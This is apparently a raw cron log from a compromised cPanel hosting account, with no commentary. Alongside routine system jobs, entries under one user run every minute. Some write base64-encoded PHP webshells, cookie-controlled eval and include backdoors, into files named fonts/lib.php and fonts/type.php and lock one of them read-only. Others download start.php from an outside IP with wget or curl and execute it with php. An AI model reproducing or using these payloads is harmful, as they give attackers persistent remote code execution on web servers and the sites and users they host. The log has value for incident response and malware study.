Sep  4 20:40:02 ip-184-168-122-23 CROND[18486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:40:02 ip-184-168-122-23 CROND[18492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:41:01 ip-184-168-122-23 CROND[18593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:41:01 ip-184-168-122-23 CROND[18594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:41:01 ip-184-168-122-23 CROND[18596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:41:01 ip-184-168-122-23 CROND[18597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:42:01 ip-184-168-122-23 CROND[18671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:42:01 ip-184-168-122-23 CROND[18673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:42:01 ip-184-168-122-23 CROND[18677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:42:01 ip-184-168-122-23 CROND[18676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:42:01 ip-184-168-122-23 CROND[18675]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:43:01 ip-184-168-122-23 CROND[18779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:43:01 ip-184-168-122-23 CROND[18780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:43:01 ip-184-168-122-23 CROND[18781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:43:01 ip-184-168-122-23 CROND[18782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:44:01 ip-184-168-122-23 CROND[18863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:44:01 ip-184-168-122-23 CROND[18867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:44:01 ip-184-168-122-23 CROND[18865]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:44:01 ip-184-168-122-23 CROND[18866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:44:01 ip-184-168-122-23 CROND[18868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:45:01 ip-184-168-122-23 CROND[18970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:45:01 ip-184-168-122-23 CROND[18974]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:45:01 ip-184-168-122-23 CROND[18971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:45:01 ip-184-168-122-23 CROND[18976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:45:01 ip-184-168-122-23 CROND[18972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:45:01 ip-184-168-122-23 CROND[18973]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  4 20:45:01 ip-184-168-122-23 CROND[18975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:46:01 ip-184-168-122-23 CROND[19087]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:46:01 ip-184-168-122-23 CROND[19089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:46:01 ip-184-168-122-23 CROND[19094]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 20:46:01 ip-184-168-122-23 CROND[19091]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 20:46:01 ip-184-168-122-23 CROND[19092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:46:01 ip-184-168-122-23 CROND[19093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:46:01 ip-184-168-122-23 CROND[19095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:47:01 ip-184-168-122-23 CROND[19290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:47:01 ip-184-168-122-23 CROND[19293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:47:01 ip-184-168-122-23 CROND[19292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:47:01 ip-184-168-122-23 CROND[19294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:48:01 ip-184-168-122-23 CROND[19371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:48:01 ip-184-168-122-23 CROND[19373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:48:01 ip-184-168-122-23 CROND[19374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:48:01 ip-184-168-122-23 CROND[19376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:48:01 ip-184-168-122-23 CROND[19377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:49:01 ip-184-168-122-23 CROND[19456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:49:01 ip-184-168-122-23 CROND[19458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:49:01 ip-184-168-122-23 CROND[19459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:49:01 ip-184-168-122-23 CROND[19461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:50:01 ip-184-168-122-23 CROND[19544]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 20:50:01 ip-184-168-122-23 CROND[19548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:50:01 ip-184-168-122-23 CROND[19551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:50:01 ip-184-168-122-23 CROND[19549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:50:01 ip-184-168-122-23 CROND[19552]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:50:01 ip-184-168-122-23 CROND[19553]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 20:50:01 ip-184-168-122-23 CROND[19547]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:50:01 ip-184-168-122-23 CROND[19555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:50:01 ip-184-168-122-23 CROND[19554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:51:01 ip-184-168-122-23 CROND[19645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:51:01 ip-184-168-122-23 CROND[19648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:51:01 ip-184-168-122-23 CROND[19646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:51:01 ip-184-168-122-23 CROND[19647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:52:01 ip-184-168-122-23 CROND[19813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 20:52:01 ip-184-168-122-23 CROND[19817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 20:52:01 ip-184-168-122-23 CROND[19816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 20:52:01 ip-184-168-122-23 CROND[19818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
